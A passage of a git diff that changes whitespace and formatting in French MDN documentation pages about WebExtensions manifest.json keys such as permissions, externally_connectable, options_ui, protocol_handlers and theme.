référencé dans le fichier manifest.json. ## Exemple diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/externally_connectable/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/externally_connectable/index.md index dfa1f69da6..2dcfe3290c 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/externally_connectable/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/externally_connectable/index.md @@ -24,22 +24,22 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/externally_connectab <td> <pre> "externally_connectable": { - // List of extension IDs that extension wishes to communicate with - // If "browser_action" is specified but "browser_action.ids" is not, - // no extensions can communicate with this extension. - // To match all extension IDs use "*". + // List of extension IDs that extension wishes to communicate with + // If "browser_action" is specified but "browser_action.ids" is not, + // no extensions can communicate with this extension. + // To match all extension IDs use "*". "ids": [ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", "cccccccccccccccccccccccccccccccc" - ], - // Regular expression patterns specifying web pages - // If "matches" is not specified, no web pages can communicate with - // this extension - "matches": [ - "https://example1.com/*", - "*://*.example2.com/*" - ] + ], + // Regular expression patterns specifying web pages + // If "matches" is not specified, no web pages can communicate with + // this extension + "matches": [ + "https://example1.com/*", + "*://*.example2.com/*" + ] }</pre > </td> @@ -47,7 +47,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/externally_connectab </tbody> </table> -Une connexion externe permet au développeur d’extensions de contrôler quelles autres extensions et pages Web peuvent communiquer avec cette extension via {{WebExtAPIRef("runtime.connect","runtime.connect()")}} et {{WebExtAPIRef("runtime.sendMessage", "runtime.sendMessage()")}} passage de message. Si `externally_connectable` n'est pas spécifié, toutes les extensions peuvent communiquer entre elles, mais pas avec les pages Web. +Une connexion externe permet au développeur d’extensions de contrôler quelles autres extensions et pages Web peuvent communiquer avec cette extension via {{WebExtAPIRef("runtime.connect","runtime.connect()")}} et {{WebExtAPIRef("runtime.sendMessage", "runtime.sendMessage()")}} passage de message. Si `externally_connectable` n'est pas spécifié, toutes les extensions peuvent communiquer entre elles, mais pas avec les pages Web. ### attribut "ids" @@ -57,7 +57,7 @@ Une connexion externe permet au développeur d’extensions de contrôler quelle Les correspondances permettent la communication entre cette extension et les pages Web. Voici une liste d'expressions régulières pour les URL de page avec lesquelles vous souhaitez communiquer. -> **Note :** Si `browser_action` n'est pas spécifié, la communication entre les extensions est toujours autorisée, comme si `browser_action` était `{"ids": ["*"] }`, par conséquent, si vous spécifiez `browser_action.matches` n'oubliez pas d'ajouter des identifiants si vous souhaitez toujours communiquer. avec d'autres extensions. +> **Note :** Si `browser_action` n'est pas spécifié, la communication entre les extensions est toujours autorisée, comme si `browser_action` était `{"ids": ["*"] }`, par conséquent, si vous spécifiez `browser_action.matches` n'oubliez pas d'ajouter des identifiants si vous souhaitez toujours communiquer. avec d'autres extensions. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.md index e57f9ecf21..4c92ae0749 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/homepage_url/index.md @@ -32,7 +32,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/homepage_url URL pour la page d'accueil de l'extension. -Si la clé [dévelopeur](/fr/Add-ons/WebExtensions/manifest.json/developer) est fournie et qu'elle contient la propriété "url", cela remplacera la clé "homepage_url". +Si la clé [dévelopeur](/fr/Add-ons/WebExtensions/manifest.json/developer) est fournie et qu'elle contient la propriété "url", cela remplacera la clé "homepage_url". c'est une [proriété localisable](/fr/Add-ons/WebExtensions/Internationalization#Internationalizing_manifest.json). diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/icons/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/icons/index.md index c331cbfa74..10163e321d 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/icons/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/icons/index.md @@ -45,7 +45,7 @@ Firefox considérera la résolution de l'écran lors du choix d'une icône. Pour ## Exemple -Les clés dans l'objet icons spécifient la taille de l'icône en pixels et la valeur spécifie le chemin relatif de l'icône. Cet exemple contient une icône d'extension 48px et une version plus grande pour les écrans haute résolution. +Les clés dans l'objet icons spécifient la taille de l'icône en pixels et la valeur spécifie le chemin relatif de l'icône. Cet exemple contient une icône d'extension 48px et une version plus grande pour les écrans haute résolution. ```json "icons": { diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/offline_enabled/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/offline_enabled/index.md index f7bf67b96d..9f4f5edec7 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/offline_enabled/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/offline_enabled/index.md @@ -34,9 +34,9 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/offline_enabled Si l'application ou l'extension doit fonctionner hors ligne. Lorsque Chrome détecte qu'il est hors ligne, les applications avec ce champ réglé sur true seront mises en surbrillance dans la page Nouvel onglet. -A partir de Chrome 35, les applications (ChromeOS uniquement à partir de 2018) sont supposées activées hors ligne et la valeur par défaut de `"offline_enabled"` est `true` sauf si la permission `"webview"` est demandée.Dans ce cas, la connectivité réseau est supposée nécessaire et `"offline_enabled"` par défaut est `false`. +A partir de Chrome 35, les applications (ChromeOS uniquement à partir de 2018) sont supposées activées hors ligne et la valeur par défaut de `"offline_enabled"` est `true` sauf si la permission `"webview"` est demandée.Dans ce cas, la connectivité réseau est supposée nécessaire et `"offline_enabled"` par défaut est `false`. -La valeur `"offline_enabled"` est également utilisée pour déterminer si un contrôle de connectivité réseau sera effectué lors du lancement d'une application en [mode Chrome OS kiosk](https://developer.chrome.com/apps/manifest/kiosk_enabled). Une vérification de la connectivité réseau sera effectuée lorsque les applications ne sont pas activées hors ligne, et le lancement de l'application sera mis en attente jusqu'à ce que l'appareil obtienne la connectivité à Internet. +La valeur `"offline_enabled"` est également utilisée pour déterminer si un contrôle de connectivité réseau sera effectué lors du lancement d'une application en [mode Chrome OS kiosk](https://developer.chrome.com/apps/manifest/kiosk_enabled). Une vérification de la connectivité réseau sera effectuée lorsque les applications ne sont pas activées hors ligne, et le lancement de l'application sera mis en attente jusqu'à ce que l'appareil obtienne la connectivité à Internet. ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/omnibox/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/omnibox/index.md index 4355ebadd0..00f004a14d 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/omnibox/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/omnibox/index.md @@ -24,7 +24,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/omnibox <td> <pre class="brush: json"> "omnibox": { - "keyword": "mdn" + "keyword": "mdn" }</pre > </td> diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/optional_permissions/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/optional_permissions/index.md index 158e8ea3b0..ce13a695a4 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/optional_permissions/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/optional_permissions/index.md @@ -36,7 +36,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/optional_permissions Utilisez la clé `optional_permissions` pour lister les permissions que vous souhaitez demander pour l'exécution, une fois que votre extension a été installée. -La clé de [`permissions`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) énumère les permissions dont votre extension a besoin si elle doit être installée. En revanche , `optional_permissions` liste les permissions dont votre extension n'a pas besoin au moment de l'installation, mais qu'il peut être nécessaire de demander pour l'exécution à un moment donné après son installation. Pour demander une permission, utilisez l'API {{webextapiref("permissions")}} . La demande de permission peut présenter probablement à l'utilisateur une boîte de dialogue lui demandant d'accorder la permission à votre extension. +La clé de [`permissions`](/fr/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) énumère les permissions dont votre extension a besoin si elle doit être installée. En revanche , `optional_permissions` liste les permissions dont votre extension n'a pas besoin au moment de l'installation, mais qu'il peut être nécessaire de demander pour l'exécution à un moment donné après son installation. Pour demander une permission, utilisez l'API {{webextapiref("permissions")}} . La demande de permission peut présenter probablement à l'utilisateur une boîte de dialogue lui demandant d'accorder la permission à votre extension. Pour des conseils sur la conception de votre demande d'autorisations d'exécution, afin de maximiser la probabilité que les utilisateurs les accordent, consultez la section, voir [Demander les permissions à éxécuter](/fr/docs/Mozilla/Add-ons/WebExtensions/demander_les_bonnes_permissions#Demander_les_permissions_à_éxécuter). diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/options_ui/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/options_ui/index.md index 3c9bebca8f..79e4f90c23 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/options_ui/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/options_ui/index.md @@ -41,11 +41,11 @@ La page d'options contient des paramètres pour l'extension. L'utilisateur peut Vous spécifiez `options_ui` comme un chemin vers un fichier HTML intégré à votre extension. Le fichier HTML peut inclure des fichiers CSS et JavaScript, tout comme une page Web normale. Contrairement à une page normale, le JavaScript peut utiliser toutes les [APIs WebExtension](/fr/Add-ons/WebExtensions/API) pour lesquelles l'extension possède des [permissions](/fr/Add-ons/WebExtensions/manifest.json/permissions). Cependant, il fonctionne dans un "scope" différent de celui de vos scripts d'arrière plan. -Si vous souhaitez **partager** des données ou des fonctions, entre JavaScript sur votre **page d'options** et vos **scripts d'arrière-plan**, vous pouvez le faire directement en obtenant une référence à la [fenêtre](/fr/docs/Web/API/Window) de vos scripts d'arrière-plan avec {{WebExtAPIRef("extension.getBackgroundPage()")}}, ou une référence à {{domxref("Window")}} de l'une des pages s'exécutant dans votre extension avec {{WebExtAPIRef("extension.getViews()")}}. Ou, vous pouvez faire communiquer le JavaScript de votre page d'options et vos scripts en arrière-plan à l'aide de {{WebExtAPIRef("runtime.sendMessage()")}}, {{WebExtAPIRef("runtime.onMessage")}}, ou {{WebExtAPIRef("runtime.connect()")}}. +Si vous souhaitez **partager** des données ou des fonctions, entre JavaScript sur votre **page d'options** et vos **scripts d'arrière-plan**, vous pouvez le faire directement en obtenant une référence à la [fenêtre](/fr/docs/Web/API/Window) de vos scripts d'arrière-plan avec {{WebExtAPIRef("extension.getBackgroundPage()")}}, ou une référence à {{domxref("Window")}} de l'une des pages s'exécutant dans votre extension avec {{WebExtAPIRef("extension.getViews()")}}. Ou, vous pouvez faire communiquer le JavaScript de votre page d'options et vos scripts en arrière-plan à l'aide de {{WebExtAPIRef("runtime.sendMessage()")}}, {{WebExtAPIRef("runtime.onMessage")}}, ou {{WebExtAPIRef("runtime.connect()")}}. -Ces derniers (ou les équivalents {{WebExtAPIRef("runtime.Port")}} peuvent également être utilisés pour partager des options entre vos [scripts d'arrière-plan](/fr/Add-frs/WebExtensions/Background_scripts) et vos **[scripts de contenu.](/fr/Add-ons/WebExtensions/Content_scripts)** +Ces derniers (ou les équivalents {{WebExtAPIRef("runtime.Port")}} peuvent également être utilisés pour partager des options entre vos [scripts d'arrière-plan](/fr/Add-frs/WebExtensions/Background_scripts) et vos **[scripts de contenu.](/fr/Add-ons/WebExtensions/Content_scripts)** -En général, vous souhaiterez stocker les options modifiées sur les pages d'options à l'aide de {{WebExtAPIRef("storage", "storage API", "", "true")}} soit dans {{WebExtAPIRef("storage.sync()")}} (si vous souhaitez que les paramètres soient synchronisés sur toutes les instances du navigateur auxquelles l'utilisateur est connecté), ou {{WebExtAPIRef("storage.local()")}} (si les paramètres sont locaux, dans la machine/le profil actuel). Si vous le faites et que votre (vos) [scripts d'arrière plan](/fr/Add-ons/WebExtensions/Background_scripts) (ou [script(s) de contenus](/fr/docs/)) doit connaître le changement, votre (vos) script(s) d'arrière plan pourra choisir d'ajouter un auditeur à {{WebExtAPIRef("storage.onChanged")}}. +En général, vous souhaiterez stocker les options modifiées sur les pages d'options à l'aide de {{WebExtAPIRef("storage", "storage API", "", "true")}} soit dans {{WebExtAPIRef("storage.sync()")}} (si vous souhaitez que les paramètres soient synchronisés sur toutes les instances du navigateur auxquelles l'utilisateur est connecté), ou {{WebExtAPIRef("storage.local()")}} (si les paramètres sont locaux, dans la machine/le profil actuel). Si vous le faites et que votre (vos) [scripts d'arrière plan](/fr/Add-ons/WebExtensions/Background_scripts) (ou [script(s) de contenus](/fr/docs/)) doit connaître le changement, votre (vos) script(s) d'arrière plan pourra choisir d'ajouter un auditeur à {{WebExtAPIRef("storage.onChanged")}}. ## Syntaxe @@ -121,9 +121,9 @@ La clé `options_ui` est un objet avec le contenu suivant : ## Exemple ```json - "options_ui": { - "page": "options/options.html" - } + "options_ui": { + "page": "options/options.html" + } ``` ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/page_action/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/page_action/index.md index 0dfea1c5be..05bb6ce8ca 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/page_action/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/page_action/index.md @@ -42,7 +42,7 @@ Une action de page est une icône que votre extension ajoute dans la barre d'URL Votre extension peut éventuellement fournir une fenêtre contextuelle associée dont le contenu est spécifié en utilisant HTML, CSS et JavaScript. -Si vous fournissez une fenêtre contextuelle, celle-ci est ouverte lorsque l'utilisateur clique sur l'icône, et l'exécution de votre JavaScript dans la fenêtre contextuelle peut gérer l'interaction de l'utilisateur avec elle. Si vous ne fournissez pas de fenêtre contextuelle, un clic événement est envoyé à votre extension aux [scripts d'arrière plan](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_pages) quand l'utilisateur clique sur l'icône. +Si vous fournissez une fenêtre contextuelle, celle-ci est ouverte lorsque l'utilisateur clique sur l'icône, et l'exécution de votre JavaScript dans la fenêtre contextuelle peut gérer l'interaction de l'utilisateur avec elle. Si vous ne fournissez pas de fenêtre contextuelle, un clic événement est envoyé à votre extension aux [scripts d'arrière plan](/fr/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_pages) quand l'utilisateur clique sur l'icône. Vous pouvez également créer et activer des actions de page par programme en utilisant l'[API pageAction](/fr/Add-ons/WebExtensions/API/pageAction). @@ -195,7 +195,7 @@ La clé `page_action` est un objet qui peut avoir l'une des trois propriétés, <tr> <td><code>hide_matches</code></td> <td> - <code>Tableau de Match Pattern sauf </code> <code><all_urls></code> + <code>Tableau de Match Pattern sauf </code> <code><all_urls></code> </td> <td> <p> diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/permissions/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/permissions/index.md index 2b0e7f6a84..9cce6e946d 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/permissions/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/permissions/index.md @@ -50,7 +50,7 @@ La clé peut contenir trois types d'autorisations: ## Les permissions d'hôte -Les permissions d'hôte sont spécifiées comme [modèles de correspondance](/fr/docs/Mozilla/Add-ons/WebExtensions/Match_patterns), et chaque modèle identifie un groupe d'URL pour lequel l'extension demande des privilèges supplémentaires. Par exemple, une autorisation d'hôte pourrait être `"*://developer.mozilla.org/*"`. +Les permissions d'hôte sont spécifiées comme [modèles de correspondance](/fr/docs/Mozilla/Add-ons/WebExtensions/Match_patterns), et chaque modèle identifie un groupe d'URL pour lequel l'extension demande des privilèges supplémentaires. Par exemple, une autorisation d'hôte pourrait être `"*://developer.mozilla.org/*"`. Les privilèges supplémentaires incluent : @@ -121,7 +121,7 @@ Les mots clés suivants sont actuellement disponibles: Dans la plupart des cas, la permission accorde uniquement l'accès à l'API, avec les exceptions suivantes : -- `tabs` vous permet d'accéder aux [parties privilégiées des API de l'onglet ](/fr/Add-ons/WebExtensions/API/tabs): `Tab.url`, `Tab.title`, et `Tab.faviconUrl`. Dans Firefox, vous avez également besoin de `tabs` si vous souhaitez inclure `url` dans le paramètre `queryInfo` dans [`tabs.query()`](/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query). Le reste de l'API `tabs` peut être utilisé sans demander aucune permission. +- `tabs` vous permet d'accéder aux [parties privilégiées des API de l'onglet ](/fr/Add-ons/WebExtensions/API/tabs): `Tab.url`, `Tab.title`, et `Tab.faviconUrl`. Dans Firefox, vous avez également besoin de `tabs` si vous souhaitez inclure `url` dans le paramètre `queryInfo` dans [`tabs.query()`](/fr/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query). Le reste de l'API `tabs` peut être utilisé sans demander aucune permission. - `webRequestBlocking` vous permet d'utiliser l'argument "blocage", afin que vous puissiez [modifier et annuler les requêtes](/fr/Add-ons/WebExtensions/API/WebRequest). - `downloads.open` vous permet d'utiliser l'API {{WebExtAPIRef("downloads.open()")}}. - `tabHide` vous permet d'utiliser l'API {{WebExtAPIRef("tabs.hide()")}}. @@ -138,21 +138,21 @@ Cette autorisation est spécifiée comme " `activeTab` " (_onglet actif_). Si un Les privilèges supplémentaires sont les suivants : -- La capacité d'injecter du JavaScript ou du CSS dans l'onglet par programme, en utilisant [`browser.tabs.executeScript`](/fr/Add-ons/WebExtensions/API/tabs/executeScript) et [`browser.tabs.insertCSS`](/fr/Add-ons/WebExtensions/API/tabs/insertCSS) +- La capacité d'injecter du JavaScript ou du CSS dans l'onglet par programme, en utilisant [`browser.tabs.executeScript`](/fr/Add-ons/WebExtensions/API/tabs/executeScript) et [`browser.tabs.insertCSS`](/fr/Add-ons/WebExtensions/API/tabs/insertCSS) - L'accès aux parties privilégiées des onglets de l'API pour l'onglet actuel : Tab.url, Tab.title et Tab.faviconUrl. -L'objectif de cette permission est de permettre aux extensions de réaliser une utilisation courante, sans avoir à leur accorder de permissions très puissantes. Beaucoup d'extensions veulent "faire quelque chose à la page courante quand l'utilisateur le demande". Par exemple, considérez une extension qui veut exécuter un script dans la page courante quand l'utilisateur clique sur une action de navigateur. Si la permission `activeTab` n'existait pas, l'extension devrait demander une permission d'hôte \<all_urls>. Mais cela donnerait à l'extension plus de puissance que nécessaire : elle pourrait désormais exécuter des scripts dans n'importe quel onglet, à tout moment, plutôt que simplement dans l'onglet actif et juste en réponse à une action de l'utilisateur. +L'objectif de cette permission est de permettre aux extensions de réaliser une utilisation courante, sans avoir à leur accorder de permissions très puissantes. Beaucoup d'extensions veulent "faire quelque chose à la page courante quand l'utilisateur le demande". Par exemple, considérez une extension qui veut exécuter un script dans la page courante quand l'utilisateur clique sur une action de navigateur. Si la permission `activeTab` n'existait pas, l'extension devrait demander une permission d'hôte \<all_urls>. Mais cela donnerait à l'extension plus de puissance que nécessaire : elle pourrait désormais exécuter des scripts dans n'importe quel onglet, à tout moment, plutôt que simplement dans l'onglet actif et juste en réponse à une action de l'utilisateur. Notez que vous ne pouvez accéder qu'à l'onglet ou aux données qui s'y trouvaient au moment de l'interaction de l'utilisateur (par exemple le clic). Lorsque l'onglet actif s'éloigne, par exemple en raison d'un chargement terminé ou d'un autre événement, l'autorisation ne vous donne plus accès à l'onglet. -Habituellement, l'onglet qui est accordé à `activeTab` est juste l'onglet actuellement actif, sauf dans un cas. L'API [`menus`](/fr/Add-ons/WebExtensions/API/menus) permet à une extension de créer un élément de menu qui s'affiche lorsque le contexte utilisateur clique sur un onglet (c'est-à-dire sur l'élément de l'onglet qui permet à l'utilisateur de passer d'un onglet à un autre). Si l'utilisateur clique sur un tel élément, la permission `activeTab` est accordée pour l'onglet sur lequel l'utilisateur a cliqué, même s'il ne s'agit pas de l'onglet actuellement actif (A partir de Firefox 63, {{bug(1446956)}}). +Habituellement, l'onglet qui est accordé à `activeTab` est juste l'onglet actuellement actif, sauf dans un cas. L'API [`menus`](/fr/Add-ons/WebExtensions/API/menus) permet à une extension de créer un élément de menu qui s'affiche lorsque le contexte utilisateur clique sur un onglet (c'est-à-dire sur l'élément de l'onglet qui permet à l'utilisateur de passer d'un onglet à un autre). Si l'utilisateur clique sur un tel élément, la permission `activeTab` est accordée pour l'onglet sur lequel l'utilisateur a cliqué, même s'il ne s'agit pas de l'onglet actuellement actif (A partir de Firefox 63, {{bug(1446956)}}). ## Accès au presse-papiers Il existe deux permissions qui permettent aux extensions d'interagir avec le Presse-papiers : - `clipboardWrite`: écrivez dans le presse-papiers à l'aide de {{DOMxRef("Clipboard.write()")}}, {{DOMxRef("Clipboard.writeText()")}}, `document.execCommand("copy")` ou `document.execCommand("cut")` -- `clipboardRead`: lisez le presse-papiers à l'aide de {{DOMxRef("Clipboard.read()")}}, {{DOMxRef("Clipboard.readText()")}} ou `document.execCommand("paste")` +- `clipboardRead`: lisez le presse-papiers à l'aide de {{DOMxRef("Clipboard.read()")}}, {{DOMxRef("Clipboard.readText()")}} ou `document.execCommand("paste")` Voir [Intérargir avec le presse-papiers ](/fr/docs/Mozilla/Add-ons/WebExtensions/Interact_with_the_clipboard)pour tous les détails de ce sujet. @@ -160,7 +160,7 @@ Voir [Intérargir avec le presse-papiers ](/fr/docs/Mozilla/Add-ons/WebExtension La permission `unlimitedStorage` : -- permet aux extensions de dépasser tout quota imposé par l'API {{WebExtAPIRef("storage.local")}} +- permet aux extensions de dépasser tout quota imposé par l'API {{WebExtAPIRef("storage.local")}} - dans Firefox, permet aux extensions de créer une base de données [bases de données Indexed DB "persistante"](/fr/docs/Web/API/API_IndexedDB/Browser_storage_limits_and_eviction_criteria#Les_différents_types_de_stockage_des_données), sans que le navigateur ne demande à l'utilisateur la permission au moment de la création de la base. ## Exemple diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/protocol_handlers/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/protocol_handlers/index.md index 434a1cb6bf..f4006dd9f8 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/protocol_handlers/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/protocol_handlers/index.md @@ -39,7 +39,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/protocol_handlers Utilisez cette clé pour enregistrer un ou plusieurs gestionnaires de protocole basés sur le Web. -Un gestionnaire de protocole est une application qui sait comment gérer certains types de liens : par exemple, un client de messagerie est un gestionnaire de protocole pour les liens "mailto:". Lorsque l'utilisateur clique sur un lien "mailto:", le navigateur ouvre l'application sélectionnée comme le gestionnaire pour le protocole "mailto:" (ou offre un choix de gestionnaires, en fonction de leurs paramètres). +Un gestionnaire de protocole est une application qui sait comment gérer certains types de liens : par exemple, un client de messagerie est un gestionnaire de protocole pour les liens "mailto:". Lorsque l'utilisateur clique sur un lien "mailto:", le navigateur ouvre l'application sélectionnée comme le gestionnaire pour le protocole "mailto:" (ou offre un choix de gestionnaires, en fonction de leurs paramètres). Avec cette clé, vous pouvez enregistrer un site Web en tant que gestionnaire pour un protocole particulier. La syntaxe et la sémantique de cette clé ressemblent beaucoup à la fonction [`Navigator.registerProtocolHandler()`](/fr/docs/Web/API/Navigator/registerProtocolHandler), excepté que avec `registerProtocolHandler()` un site Web ne peut s'inscrire lui-même comme un gestionnaire. @@ -50,22 +50,22 @@ Chaque gestionnaire de protocole possède trois propriétés, toutes obligatoire - : Une chaîne définissant le protocole. Cela doit être soit: - L'une des suivantes : "bitcoin", "dat", "dweb", "geo", "gopher", "im", "ipfs", "ipns", "irc", "ircs", "magnet", "mailto", "mms", "news", "nntp", "sip", "sms", "smsto", "ssb", "ssh", "tel", "urn", "webcal", "wtai", "xmpp". - - Une chaîne composée d'un nom personnalisé préfixé avec "web+" ou "ext+". Par exemple : "web+foo" ou "ext+foo". Le nom personnalisé doit comporter uniquement des caractères ASCII minuscules. Il est recommandé que les extensions utilisent la forme "ext+". + - Une chaîne composée d'un nom personnalisé préfixé avec "web+" ou "ext+". Par exemple : "web+foo" ou "ext+foo". Le nom personnalisé doit comporter uniquement des caractères ASCII minuscules. Il est recommandé que les extensions utilisent la forme "ext+". - `name` - : Une chaîne représentant le nom du gestionnaire de protocole. Il sera affiché à l'utilisateur lorsqu'il sera interrogé s'il souhaite que ce gestionnaire ouvre le lien. - `uriTemplate` - - : Une chaîne représentant l'URL du gestionnaire. Cette chaîne doit inclure "%s" comme espace réservé : il sera remplacé par l'URL échappée du document à traiter. Cette URL peut être une vraie URL, ou il peut s'agir d'un numéro de téléphone, d'une adresse de courrier électronique, etc. C'est une [propriété localisable](/fr/Add-ons/WebExtensions/Internationalization#Internationalizing_manifest.json). + - : Une chaîne représentant l'URL du gestionnaire. Cette chaîne doit inclure "%s" comme espace réservé : il sera remplacé par l'URL échappée du document à traiter. Cette URL peut être une vraie URL, ou il peut s'agir d'un numéro de téléphone, d'une adresse de courrier électronique, etc. C'est une [propriété localisable](/fr/Add-ons/WebExtensions/Internationalization#Internationalizing_manifest.json). ## Exemple ```json "protocol_handlers": [ - { - "protocol": "magnet", - "name": "Magnet Extension", - "uriTemplate": "https://example.com/#!/%s" - } + { + "protocol": "magnet", + "name": "Magnet Extension", + "uriTemplate": "https://example.com/#!/%s" + } ] ``` diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/sidebar_action/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/sidebar_action/index.md index 83cd5f8873..50b1bb401a 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/sidebar_action/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/sidebar_action/index.md @@ -72,7 +72,7 @@ La clé `sidebar_action` est un objet qui peut avoir l'une des propriétés list propriété <code>browser_style</code>. </p> <p> - Dans Firefox, la feuille de style peut être vue sur + Dans Firefox, la feuille de style peut être vue sur chrome://browser/content/extension.css, ou chrome://browser/content/extension-mac.css sur OS X. Lors de la définition des dimensions, savez que cette feiulle de style est @@ -151,7 +151,7 @@ La clé `sidebar_action` est un objet qui peut avoir l'une des propriétés list >, tout comme une page Web normale. </p> <p> - Contrairement à une page Web normale, JavaScript en cours d'exécution + Contrairement à une page Web normale, JavaScript en cours d'exécution dans le panneau peut accéder à toutes les <a href="/fr/Add-ons/WebExtensions/API">APIs des WebExtension</a> (à condition, bien sûr, que l'extension ait les @@ -216,14 +216,14 @@ La clé `sidebar_action` est un objet qui peut avoir l'une des propriétés list ```json "sidebar_action": { - "default_icon": "sidebar.svg", - "default_title": "Ma barre latérale !", - "default_panel": "sidebar.html", + "default_icon": "sidebar.svg", + "default_title": "Ma barre latérale !", + "default_panel": "sidebar.html", "browser_style": true } ``` -Pour un exemple simple d'une extension qui utilise une barre latérale, regarder [annotate-page](https://github.com/mdn/webextensions-examples/tree/master/annotate-page). +Pour un exemple simple d'une extension qui utilise une barre latérale, regarder [annotate-page](https://github.com/mdn/webextensions-examples/tree/master/annotate-page). ## Compatibilité du navigateur diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/storage/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/storage/index.md index 063a3cd372..f3a60b99d2 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/storage/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/storage/index.md @@ -38,7 +38,7 @@ Utilisez la clé `storage` pour spécifier le nom du fichier de schéma qui déf Les données gérées déclarent les politiques d'entreprise soutenues par l'application. Les politiques sont analogues aux options mais sont configurées par un administrateur système au lieu de l'utilisateur, ce qui permet à l'application d'être configurée pour tous les utilisateurs d'une organisation. -Après avoir déclaré les politiques, elles sont lues à partir de l'API {{WebExtAPIRef("storage.managed")}}. Cependant, si une valeur de politique n'est pas conforme au schéma, elle n'est pas publiée par l'API `storage.managed`. Il appartient à l'application d'appliquer les politiques configurées par l'administrateur. +Après avoir déclaré les politiques, elles sont lues à partir de l'API {{WebExtAPIRef("storage.managed")}}. Cependant, si une valeur de politique n'est pas conforme au schéma, elle n'est pas publiée par l'API `storage.managed`. Il appartient à l'application d'appliquer les politiques configurées par l'administrateur. > **Note :** Firefox ne définit pas de schéma pour le stockage géré, soir {{WebExtAPIRef("storage.managed")}} pour plus de détails. diff --git a/files/fr/mozilla/add-ons/webextensions/manifest.json/theme/index.md b/files/fr/mozilla/add-ons/webextensions/manifest.json/theme/index.md index 841efc68b0..91fc422ba4 100644 --- a/files/fr/mozilla/add-ons/webextensions/manifest.json/theme/index.md +++ b/files/fr/mozilla/add-ons/webextensions/manifest.json/theme/index.md @@ -46,7 +46,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/manifest.json/theme Utilisez la clé du thème pour définir un thème statique à appliquer à Firefox. -> **Note :** Si vous voulez inclure un thème avec une extension, veuillez voir l'API {{WebExtAPIRef("theme")}}. +> **Note :** Si vous voulez inclure un thème avec une extension, veuillez voir l'API {{WebExtAPIRef("theme")}}. > **Note :** Depuis mai 2019, les thèmes doivent être signés pour être installés ({{bug(1545109)}}). Voir [Signature et distribution votre extension](/fr/docs/Mozilla/Add-ons/Distribution) pour plus de détails. @@ -128,9 +128,9 @@ La clé du thème est un objet qui prend les propriétés suivantes: <li> <code>"additional_backgrounds_alignment":</code> un tableau énumérant les valeurs définissant l'alignement des éléments - correspondants du tableau + correspondants du tableau <code>"additional_backgrounds":</code>.<br />Les options - d'alignement comprennent : <code>"bottom" <em>(bas)</em></code + d'alignement comprennent : <code>"bottom" <em>(bas)</em></code >, <code>"center" <em>(centre)</em></code >, <code>"left" <em>(gauche)</em></code >, <code>"right" <em>(droite)</em></code @@ -243,7 +243,7 @@ Les images doivent avoir une hauteur de 200 pixels pour garantir qu'elles rempli <div class="warning"> <p> <strong>Attention :</strong> La propriété - 